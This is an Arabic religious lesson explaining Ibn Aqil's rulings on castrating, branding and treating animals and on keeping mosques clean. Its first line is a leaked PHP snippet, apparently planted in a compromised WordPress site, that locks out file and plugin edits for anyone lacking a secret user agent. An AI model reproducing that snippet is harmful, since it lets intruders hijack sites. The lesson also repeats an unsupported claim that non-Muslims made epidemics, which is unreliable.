if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس التاسع عشر - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس التاسع عشر

الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين نبينا عليه أفضل الصلاة وأتم التسليم.

أما بعد، أيها الأخوة الأحبة، السلام عليكم ورحمة الله وبركاته، وحياكم الله في الدرس التاسع عشر من دروس شرح فصول في الآداب ومكارم الأخلاق المشـروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» غفر الله له ولوالديه وللسامعين ووالديهم.

قد انتهينا في الدرس الماضي مما يجوز قتله وما لا يجوز من الحيوانات والحشرات، وبعد ذلك عقد رحمه الله الفصل التاسع عشر، فقال رحمه الله:

فَصْلٌ

وَلَا يَجُوْزُ إِخْصَاءُ البَهَائِمِ، وَلَا كَيُّهَا بِالنَّارِ لِلْوَسْمِ، وَتَجُوْزُ للْمُدَاوَاةُ حَسْبَ مَا أَجَزْنَا فِي إِحْدَى الرِّوَايَتَيْنِ.

هذا الفصل نقله الإمام ابن مفلح في الآداب الشرعية عن الإمام ابن عقيل، وكان ابن مفلح رحمه الله قد ذكر عن الإمام أحمد روايتين: رواية تجيز الخصي ورواية تكره ذلك، ثم قال ابن مفلح: وذكر الشيخ تقي الدين كلام ابن عقيل وقال: فعلى قوله لا يجوز وسمها بحال وهو ضعيف، وقال السفاريني في غذاء الألباب: إن المذهب جواز إخصاء الغنم والديوك ويحرم في الآدمي ويُكره فيما عدا ذلك، إذن هذا الفصل في بيان حكم خصي الحيوانات وكيها ومداواتها.

أولًا: ما المراد بالخصي؟ الخصي: هو سل الخصيتين من بهيمة الأنعام وأكثر ما يكون في الغنم، تقول: خصيته أخصيه خصاءً بالكسر والمد: سللت خصيتيه فهو خـصيٌ فعيلٌ أي مفعول، وهذا الخصاء له فائدة في بهيمة الأنعام حيث يحسن لحمه ويكمل ويكبر ويسمن، ولهذا يعمد ملاك بعض الحيوانات من بهيمة الأنعام إلى خصي بعض الذكور حتى لا ينزو على الإناث وحتى يسمن ويحسن لحمه ويكبر، قال الإمام أحمد: لا يُعجبني للرجل أن يخـصي شيئًا، وهذا من ورعه رحمه الله في اختيار العبارات في التعبير عن مراده سواءً أراد التحريم أو الكراهة، لا يُعجبني للرجل أن يخصي شيئًا، قال ابن مفلح: وإنما كره الإمام ذلك؛ للنهي الوارد عن إيلام الحيوان، والقول الثاني: أن خصي الحيوان مباحٌ لما فيه من إصلاح اللحم والسمن، فإذا كان ثمة مصلحة ومنفعة فلا بأس وإلا فلا، الذين أجازوه احتجوا بما ثبت في الصحيحين أنه صلى الله عليه وسلم «ضحَّى بِكَبشينِ مَوجوءَينِ»[1] أي خصيين، والذين منعوه استدلوا بالنهي عن خصاء البهائم كما رواه البزار وجاء من حديث ابن عمر عن الإمام أحمد رحمه الله ، قالوا: ولأن فيه شيءٌ من التعذيب والإيلام للحيوان، وأجابوا عن حديث تضحيته صلى الله عليه وسلم بِكَبشينِ مَوجوءَينِ، قالوا: هذا لا يدل على الجواز وإنما هو خبر عن شيء واقع، يعني أنه صلى الله عليه وسلم ضحى بهذين الكبشين الموجوءين لأنها سمينة تتحقق فيها المنفعة والمصلحة الكبرى للناس للأضحية وذلك يُسن فيها التسمين، قالوا: لكن هذا لا يدل على مشروعية الخصاء ابتداءً، وقالوا: إن هذا مثل ركوبه صلى الله عليه وسلم للبغل لما أهدي إليه مع نهيه عن إنزاء الخيل على الحُمر، لما سُئل عن ذلك، قال: «إنَّما يفعَلُ ذلك الذين لا يَعلَمونَ»[2] [الحديث حديثٌ حسن] أي لما رأي الصحابة ركوب النبي صلى الله عليه وسلم للبغل، قالوا: أنفعل ذلك يا رسول الله أي ننزي الخيل على الحُمر فتنجب بغلًا، قال: «إنَّما يفعَلُ ذلك الذين لا يَعلَمونَ» فلم يقرهم على ذلك، ومع ذلك ركب البغلة، وقالوا: إن هذا مثل تضحيته صلى الله عليه وسلم بكبشٍ خصيٍ، قالوا: فوجود الشيء إذا وقع لا يدل على إقرار الفعل ابتداءً، والراجح والعلم عند الله تعالى هنا التوسط، وهو الجواز إذا كانت ثمة مصلحة لكن ينبغي أن يُفعل بالحيوان حال صغره كالختان للآدمي، يحسن تقديمه في الصغر؛ لأنه قل إيلامًا ويكبر ولا يشعر، كما يُقال: إن السنة في ختان الصبي أن يكون في صغره ويوم سابعه أو قبل ذلك، فكذلك من أراد أن يخصي ذكرًا من بهيمة الأنعام فليبادر به حال الصغر.

قوله رحمه الله: (وَلَا كَيُّهَا بِالنَّارِ لِلْوَسْمِ) أي ولا يجوز للمسلم أن يكوي البهيمة بالنار للوسم، الوسم هو أثر الكي، والجمع: وسوم وسمة، يسمه وسمًا وسمةً فاتسم، هذا معنى الوسم وهو ما وُسم به الحيوان من ضروب الصور يعني يُجعل شعار أو وسم يعرفه أهله به وهذا يكثر في الإبل أكثر، والكي بالنار للوسم قد يكون في الوجه وقد يكون في سائر البدن، أما الكي بالنار في وجه البهيمة فحرام بالإجماع ولا تُحله ضرورة ولا حاجة، «وقد رَأى النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ حِمارًا قد وُسِمَ في وَجهِه، فقال: لعَنَ اللهُ مَن فعَلَ هذا»[3] [الحديث رواه الإمام مسلم]، وهذا اللعن لا يكون إلا على فعل كبيرة وتعدي خطير على بهيمة الأنعام لأن لم يجد إلا وجهها فيسمها فيه، إذا كان قد نُهي عن الضرب في الوجه فمن باب أولى الكي، وفي حديث جابر بن عبدالله رضي الله عنهما: «نَهَى رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، عَنِ الضَّرْبِ في الوَجْهِ، وَعَنِ الوَسْمِ في الوَجْهِ»[4] [رواه الإمام مسلم]، وهذا عامٌ يشمل الآدميين والبهائم على حد سواء، فلا يصح للمسلم أن يضرب وجهًا حتى لو أُذن له بالضرب كالأب في تربية ابنه والمعلم في تربية طلابه والزوج في تأديب زوجته، لا يحل له أن يضرب الوجه.

أما الكي للوسم في غير الوجه، فمنهم من أجازه مطلقًا يعني في جميع بهيمة الأنعام، ومنهم من خصه بإبل الصدقة أو إبل الجزية، والظاهر والعلم عند الله عمومه للحاجة، ويكون في الإبل في الفخذ لأنه أقل إيلامًا، بالنسبة للإبل والبقر فإن الفخذ غليظ واللحم فيه كثير فيكون الكي فيه أيسر وأقل إيلامًا، وفي الحديث: «لا تكويه إلا في أقـصى جاعرتيه»[5]، ويمكن أن يُستدل بذلك على جواز خصي الحيوان للمصلحة يعني إذا كان الكي لمصلحة معرفته ووسمه فمن باب أولى أن يكون أيضًا الخصي لحاجة الآدميين للانتفاع بلحمه وسمنه، وأما الغنم فيكون الوسم في أطراف الآذان ولا يكون في الفخذ لكثرة الشعر ورقة اللحم وقد يتلفها الكي في الفخذ.

قوله رحمه الله في آخر الفصل: (وَتَجُوْزُ للْمُدَاوَاةُ حَسْبَ مَا أَجَزْنَا فِي إِحْدَى الرِّوَايَتَيْنِ) أي وتجوز المداواة بالكي للحيوان حسب ما ورد عن الإمام أحمد رحمه الله في الكي للآدمي للمداواة، وهذا قياسٌ بديع، يقول: إذا كان الشارع قد أجاز الكي للآدمي للحاجة وهو آخر الطب، والنبي صلى الله عليه وسلم أخبر أن فيه شفاء لكنه قال: أنهى أمتي عن الكي، فلا يُبدأ بالكي وإنما يُجعل آخر الدواء وآخر الطب وآخر العلاج، فكذلك إذا جاز في الآدمي فهو أيضًا في البهيمة من باب أولى، إذا مرضت واعتلت وقيل إن الكي نافع بإذن الله تعالى في علاجها فإنها تُكوى.

هذا الفصل وقد انتهينا فيه ومما قبله يدل على عظم شأن هذه الشريعـة الخالدة، الشريعـة الربانية التي لم تترك شيئًا إلا بينت لنا فيه حكمًا، هذه الشريعة الكاملة التي أنزلها رب السماوات والأراضين الذي خلق النفس وهو أعلم بما يُصلحها بينت لنا كل شيء حتى هذه الحيوانات والحشرات، ما الذي يجوز قتله مطلقًا من الفواسق اللاتي يُقتلن في الحل والحرم، وفي الحيوانات التي لا تُقتل كالنملة والنحلة والصُـرد والضفدع كما تقدم إلا ما آذى من حشرات ونحوه، وبينت لنا كيف نقتل البهيمة أو نذبحها وأننا نسلك مسلك الإحسان «إنَّ اللهَ كتبَ الإحسانَ على كلِّ شيءٍ فإذا قتلتُم فأحسِنوا القِتلةَ وإذا ذبحتُم فأحسِنوا الذِّبحةَ وليُحدَّ أحدُكم شفرتَهُ وليُرِح ذبيحتَه»[6] حتى في حال الذبح والنحر أمرنا بالإحسان في حد الشفرة وفي إراحة الذبيحة، ونُهينا أن نذبح الشاة أو البهيمة أمام أختها، كل ذلك إحسان وكل ذلك مما جاءت به الشريعة، ولهذا نقول: هذه الشريعة الربانية سبقت جميع الدساتير والقوانين التي وضعها الناس اليوم وأصبحوا يتغنون بها وواقعهم مخالف للحقيقة، جمعيات تُنشأ لحقوق الحيوان ورعاية الحيوان والاهتمام بالحيوان في الوقت نفسه يُذبح الإنسان ويُهدر دمه ويُقتل قتلًا عظيمًا في حوادث بشعة من صنع الآدميين، ونعني بالآدميين هنا الكفار فهم أهل الكفر وهم أهل الضلال وهم الذين يجرأون ويتجرأون على قتل البشرية والإنسانية سواءً بهذه الحروب التي يصنعون أسلحتها المدمرة ويفتعلونها أو حتى بهذه الأوبئة التي يُقال إنها من صنعهم، وعلى كلٍ نقول: هؤلاء الذين يزعمون زورًا وبهتانًا أنهم رُحماء بالحيوان، نقول: هلّا رحمتم الإنسان! الذي هو أعظم عند الله من كل شيء، وقتله أعظم الذنوب وأخطرها عند الله، وزوال الدنيا بأسرها أهون عند الله من إراقة دمٍ مسلم، والكعبة عند الله أهون وأيسر من دم المسلم، ومع ذلك كم يُذبح من أهل الإسلام اليوم في مشارق الأرض ومغاربها من أدعياء العدالة والحرية وأدعياء الرفق بالحيوان، نقول: سبحان الله، هذا الدين الخاتم هو الذي دعى إلى الرفق بالحيوان وقبله الإنسان، وقد مر بنا وسمعنا أحاديث عظيمة في الجناية العُظمى، في أن يُدخل النار أحد بسبب حبس بهيمة «دَخَلَتِ امرأةٌ النارَ في هِرَّةٍ حَبَسَتْها ، فلا هي أَطْعَمَتْها ، ولا هي تَرَكَتْها تأكلُ من خَشَاشِ الأرضِ»[7]، أدخلها الله رب العالمين العدل الكريم البر الرحيم، أدخلها النار لأنها جنت على هذه البهيمة فحبستها لا أطعمتها ولا تركتها تأكل من خشاش الأرض، وبغيٌ زانية غفر الله وادخلها الجنة بسبب أنها سقت كلبًا، شربت في يومٍ شديد الحر، في شدة حر، فلما صعدت وجدت كلبًا يلهث من العطش فنزعت موقها وجعلت فيه شيئًا من الماء فأسقته فغفر الله لها[8]، هذا هو الدين العظيم الذي يجمع ولا يُفرق والذي يُراعي الإنسان أعظم موجودات هذا الكون كما يهتم بهذا الحيوان، وأما من يدعي زورًا وبهتانًا أنه يرعى الحيوان ويؤسس جمعيات لرعاية الحيوان ويتشدق بهذا في الوقت الذي يذبح فيه الإنسان فلا شك أن هذا هُراء وكذبٌ وافتراء وضحكٌ على الذقون.

قال رحمه الله عقب ذلك في الفصل العشرون:

فَصْلٌ

وَيُكْرَهُ إِزَالَةُ الأَوْسَاخِ فِي المَسَاجِدِ كَتَقْلِيْمِ الأَظْفَارِ، وَقَصِّ الشَارِبِ، وَنَتْفِ الإِبِطِ، وَالعَمَلِ وَالصَنَائِعِ؛ كَالخِيَاطَةِ، وَالخَرَزِ، وَالحَلَجِ، وَالتِّجَارَةِ، وَمَا شَاكَلَ ذَلِكَ؛ إِذَا كَثُرَ، وَلَا يُكْرَهُ ذَلِكَ إِذَا قَلَّ مِثْلُ رَقْعِ ثَوْبٍ، أَوْ خَصْفِ نَعْلٍ، أَوْ تَشْرِيْكِهَا إِذَا انْقَطَعَ شِسْعُهَا.

هذا الفصل فصل عظيم في بيان عظم هذه البيوت التي أذن الله أن تُرفع ويُذكر فيها اسمه، ذكر المؤلف فيه هذا الفصل العظيم في صيانة المساجد عما لا ينبغي من إزالة الأوساخ من الأبدان والثياب لئلا تُقذر هذه المساجد ويُحرَم أهل الصلاة من الصلاة فيها إذا تقذرت واتسخت، ومر بنا فصولًا في نهي من أكل بصلًا أو كراثًا أو ثومًا أن يقربها، فكذلك هنا نهى الشارع عن إزالة الأوساخ في المساجد، فلا يقلم المسلم أظفاره ولا يقص شاربه ولا ينتف إبطه ولا يحول المساجد إلى دورٍ للصناعة والتجارة فيخيط أو يخرز أو يحلج القطن أو يتاجر وما شاكل ذلك مما يُلحق به مما لا يمكن حصره إذا كثر، ثم بيّن أن ذلك لا يُكره إذا كان قليلًا مثل أن يرقع ثوبه أو يخصف نعله أو يشرك نعله إذا انقطع شسعه، فدل هذا الفصل بطوله وتفصيله على عظم عناية هذه الشريعة بصيانة المساجد عما لا ينبغي وعدم تقذيرها أو وضع الأصوات المزعجة كأن تكون محلًا للبيع والشراء، واستثناء ما كان يسيرًا من ذلك كرقع ثوبٍ وخصف نعلٍ أو إصلاحه، وهذا مما اتفق عليه أهل العلم وهو من رفعة المساجد التي أمر الله أن تُرفع ويُذكر فيها اسمه، وقد أمر صلى الله عليه وسلم ببناء المساجد في الدور وأن تُنظف وتطيب، والمراد بالدور هنا الأحياء والبيوتات، فتُبنى المساجد بينها وتُنظف وتُطيب، ونهى صلى الله عليه وسلم عن البصق فيها وأخبر أن النخاعة في المسجد ذنب وخطيئة كفارتها دفنها[9] كما في الحديث، ورأى صلى الله عليه وسلم في قبلة المسجد نخاعة فحكها، وقال: أيسر أحدكم أن يتنخع في وجهه[10]، إذا كان لا يسرك ذلك ولا تقبله بل لو كان ريقًا وتفالًا خفيفًا لا يقبل أحد أن يُتفل في وجهه أو يُبصق في وجهه فكيف في بيوت الله التي أمر أن تُرفع وتُصان، والمساجد بُنيت للصلاة فيها والاعتكاف وقراءة القرآن وتعليم القرآن وتعليم العلوم النافعة فتُصان عما يُنقصها ويحرم أهل الإيمان من الانتفاع فيها ومن ذلك رفع الصوت؛ فإن رفع الأصوات في المساجد خطيئة، وكذلك مزاولة التجارة والصناعات والبيع والشراء، وجاء الإرشاد بالبصاق إذا احتاجه المسلم وهو في المسجد في الثوب أو المنديل إلا إذا كان المسجد من الحصباء أو التراب فإن السنة أن يتفل عن يساره إذا كان يساره خاليًا ويدفن ذلك، والأولى عدم ذلك، الأولى أن يبصق في طرف ثوبه أو في منديل ونحوه، وأما المساجد المفروشة اليوم فإنه يحرُم أن يبصق فيها لا أمامه ولا عن يمينه ولا عن شماله.

وفي الصحيح قصة المرأة أو الرجل الذي كان يقم المسجد فتُوفي ففقده النبي صلى الله عليه وسلم فسأل عنه وذهب وصلى على قبره، وهذا يدل على عِظم شأن أولئك الذين يقومون على المساجد في نظافتها وصيانتها وأن هذه من القرب ومن العبادات المتعدي نفعها وأن أولئك يُفقدون، ولهذا فقدها النبي صلى الله عليه وسلم فلما سأل، قالوا: إنها ماتت فكرهنا أن نوقظك يا رسول الله، قال: دلوني على قبرها، ألا آذنتموني ثم ذهب وصلى على قبرها[11]، فدل على عِظم شأن من يقوم على بيوت الله أذانًا، إمامةً، نظافةً، حراسةً، صيانةً، ولما سأل رجل عن ضالته في المسجد، قال صلى الله عليه وسلم: «لا ردها الله لك»[12]، وهذا مما ينبغي أن يُقال لمن سأل ضالة، إذا فقد المسلم ضالة فإنه لا يحل له أن يقول: ما أجد تجمعًا مثل اجتماع الناس في المسجد، فأقف عند باب المسجد من الداخل أو أمام المصلين أو أضع ملصقًا إني فقدت محفظة أو ساعة أو مالًا أو نحوه، نقول: كل ذلك لا يحل، والمساجد لم تُبنى لذلك، ولهذا يُقال له بصوتٍ يسمعه هو وغيره: لا ردها الله لك؛ لأن المساجد لم تُبنى لذلك لكن إذا وقف خارج المسجد عند باب المسجد وسأل، لا حرج أو وضع في خارج المسجد ملصقًا ليس من داخل المسجد فلا حرج في ذلك، وكذلك البيع والشراء، إذا سُمع من يبيع أو يشتري فإنه يُقال له: لا أربح الله تجارتك كما جاء في الحديث، فإن المساجد لم تبنى لذلك، لم تُبنى لتغتنم قدوم المصلين فتعرض لهم بضاعتك أو تسوقها أو تشتري وتماكس وتبيع، وكان الفاروق عمر رضي الله عنه قد وضع مكانًا خارج المسجد لمن أراد أن يتكلم أو يلهو، يقول له: اخرج خارج المسجد، ومن باع في المسجد أو اشترى فبيعه محرم على الصحيح، وهل ينعقد أو لا ينعقد؟ على قولين: من أهل العلم من يرى أنه لا ينعقد، يعني البيع فاسد وآثم، ومنهم من يقول: يصح البيع مع الإثم، أما البيع للضرورة وبعضهم قال للحاجة، فلا بأس وينبغي تقييده بالضرورة أو الحاجة الماسة، قالوا: مثل من احتاج إلى سترة لعورته وهو في المسجد، فلم يجد واشترى ودفع مالًا وأخذ سترة ليستر بها عورته، قالوا: أو معتكف لم يجد من يحضر له طعامًا ونحوه والبائع خارج المسجد فلعل هذا مما يستثنى للحاجة وإلا فالأصل منعه، والأصل أن المعتكف أباح له الشارع إن لم يُحضر له الطعام أن يخرج فيشتري طعامًا أو يذهب لبيته ويتسحر إن كان في رمضان أو يُفطر لكن الأفضل والأكمل والأولى أن يُحضر له الطعام فإن لم يكن ثمة من يُحضر له الطعام وبيته بعيد والمطاعم بعيدة ولو خرج فقد المعتَكف وتكرر خروجه في اليوم ما لا يقل عن مرتين، فنقول: لا حرج في الحاجة الماسة حينئذٍ أن يتصل بمن يُحضر له طعامًا ولو من أصحاب المطاعم ونحوها لا سيما أن البائع غير داخل في المسجد، هذا أمر، كما أنه لا يتحقق في هذه الصورة إشغال للناس، ولا بيعٌ وشراءٌ ومماكسة، كما أنه لم يتخذ المسجد للبيع والشراء ولكن هذا أمر يسير عارض، وقد جاء عن الإمام مالك وأحمد رحمهما الله في رواية تجويز هذا للمعتكف لئلا يتكرر خروجه ولما في هذا من جمع قلبه، فنقول: مثل هذا يستثنى ويكون على قدره، واليوم الغالب على أهل الاعتكاف أنهم يرتبون أمورهم من قِبل أهلهم أو من قِبل بعض المحسنين ممن يخدمهم فيجهز لهم كل ما يحتاجون من مأكل ومشرب وملبس ولا يحوجهم لا للاتصال بالمطاعم والبقالات والمحلات التموينية ونحوها لكن إذا دعت الحاجة فاتصل فلا حرج.

كما يستثنى الشيء العارض كما ذكر رحمه الله من رقع الثوب وخصف النعل إذ لم يتخذ المسجد لهذا ولم يفعل ذلك على سبيل الصناعة، الخياطة، الخرازة، ولأن هذا لا يلوث المسجد، قد كان الصحابة رضي الله عنهم في الصُفة يقيمون في المسجد ويلزم من إقامتهم الدائمة إصلاح ثيابهم ونعلهم وما يحتاجون إليه من غير نكير من النبي صلى الله عليه وسلم، فمسلم يقيم في المسجد في معتكف، الصُفة، أصحاب الصُفة رضي الله عنهم فقراء المسلمين، كان المسجد هو بيتهم ودار إقامتهم الدائمة، نقول: لا شك أنه سيخصف نعلًا وسيرقع ثوبًا ونحو ذلك، وقد نهى الشارع عن المشي في النعل الواحد لما فيه من اختلال الماشي، ولما فيه من عدم العدل بين جوانبه وبين قدميه؛ ولأنها مشية تشبه مشية الشيطان كما جاء وإن لم يصح ذلك، ولهذا نقول: إذا انقطع نعله فإنه يصلحها؛ لأنه ممنوع من المشي بواحدة وكونه يمشي حافيًا هذا فيه أيضًا مشقة ومن ثم فإن له أن يُصلح نعله ليكون في مشيه معتدلًا ويعدل بين جانبيه، ولأن المشي بنعلٍ واحدة فيه ضرر على البدن وربما ضر عموده الفقري.

هذه أهم المسائل المتعلقة بالفصل العشرين، بقي عندنا الفصل الحادي والعشرون والثاني والعشرون والثالث والعشرون، وبإذن الله تعالى ننهيها في الدرس القادم، ونسأل ربنا أن يوفقنا جميعًا لما يُحب ويرضى وأن يأخذ بنواصينا للبر والتقوى وأن يرزقنا العلم النافع والعمل الصالح وأن يجعل ما تعلمناه وقلناه حجة لنا لا علينا إنه قريب مجيب ودود لطيف، وبالله التوفيق وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه بإحسان إلى يوم الدين، والسلام عليكم ورحمة الله وبركاته.

 

¯¯¯


[1] صححه الألباني في إرواء الغليل (1147).

[2] أخرجه أبو داود (2565)، والنسائي (3580)، وأحمد (785)، والحديث صحح إسناده النووي في المجموع (6/178)، وأيضًا صحح إسناده أحمد شاكر في تخريج المسند (1359).

[3] أخرجه مسلم (2117)، وأبو داود (2564) باختلاف يسير، والترمذي (1710) مختصرًا، وأحمد (14164) واللفظ له، وجود إسناده ابن حجر في فتح الباري (13/28) وأيضًا صحح إسناده شعيب الأرناؤوط على شرط الشيخين في تخريج المسند (14164).

[4] أخرجه مسلم (2116).

[5] أخرجه مسلم (2118) عن عبدالله بن عباس رَضِيَ اللهُ عَنْهُمَا قال: «رَأَى رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ حِمَارًا مَوْسُومَ الوَجْهِ، فأنْكَرَ ذلكَ. قالَ: فَوَاللهِ لا أَسِمُهُ إلَّا في أَقْصَى شَيءٍ مِنَ الوَجْهِ، فأمَرَ بحِمَارٍ له، فَكُوِيَ في جَاعِرَتَيْهِ، فَهو أَوَّلُ مَن كَوَى الجَاعِرَتَيْنِ».

[6] أخرجه مسلم (1955)، وأبو داود (2815)، والترمذي (1409)، وابن ماجه (3170).

[7] أخرجه البخاري (3318)، ومسلم (2242) بنحوه.

[8] أخرجه مسلم (2245) بهذا المعنى عن أبي هريرة رَضِيَ اللهُ عَنْهُ بلفظ: «بيْنَما كَلْبٌ يُطِيفُ برَكِيَّةٍ قدْ كادَ يَقْتُلُهُ العَطَشُ، إذْ رَأَتْهُ بَغِيٌّ مِن بَغايا بَنِي إسْرائِيلَ فَنَزَعَتْ مُوقَها، فاسْتَقَتْ له به، فَسَقَتْهُ إيَّاهُ، فَغُفِرَ لها بهِ».

[9] أخرجه البخاري (415)، ومسلم (552)، والترمذي (572)، وأبو داود (476)، وأحمد(13450)  بلفظ: «النُّخاعةُ في المَسجِدِ خَطيئةٌ، وكَفَّارتُها دَفْنُها».

[10] أخرجه أبو داود (480) عن أبي سعيد الخدري رَضِيَ اللهُ عَنْهُ: «أنَّ النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ كان يحِبُّ العراجِينَ ولا يزال في يدِه منها، فدخل المسجدَ فرأى نخامةً في قبلةِ المسجدِ فحَكَّها، ثمَّ أقبل على النَّاس مُغضَبًا، فقال: أيسُرُّ أحدَكم أن يُبصَقَ في وَجْهِه؟!»، والحديث صححه الألباني في صحيح أبي داود (480).

[11] أخرجه البخاري (460) عن أبي هريرة رَضِيَ اللهُ عَنْهُ: «أنَّ رَجُلًا أسْوَدَ أوِ امْرَأَةً سَوْدَاءَ كانَ يَقُمُّ المَسْجِدَ فَمَاتَ، فَسَأَلَ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ عنْه، فَقالوا: مَاتَ، قالَ: أفلا كُنْتُمْ آذَنْتُمُونِي به دُلُّونِي علَى قَبْرِهِ – أوْ قالَ قَبْرِهَا فأتَى قَبْرَهَا فَصَلَّى عَلَيْهَا».

[12] أخرجه مسلم (568) عن أبي هريرة رَضِيَ اللهُ عَنْهُ بلفظ: «مَن سَمِعَ رَجُلًا يَنْشُدُ ضالَّةً في المَسْجِدِ فَلْيَقُلْ لا رَدَّها اللهُ عَلَيْكَ فإنَّ المَساجِدَ لَمْ تُبْنَ لِهذا».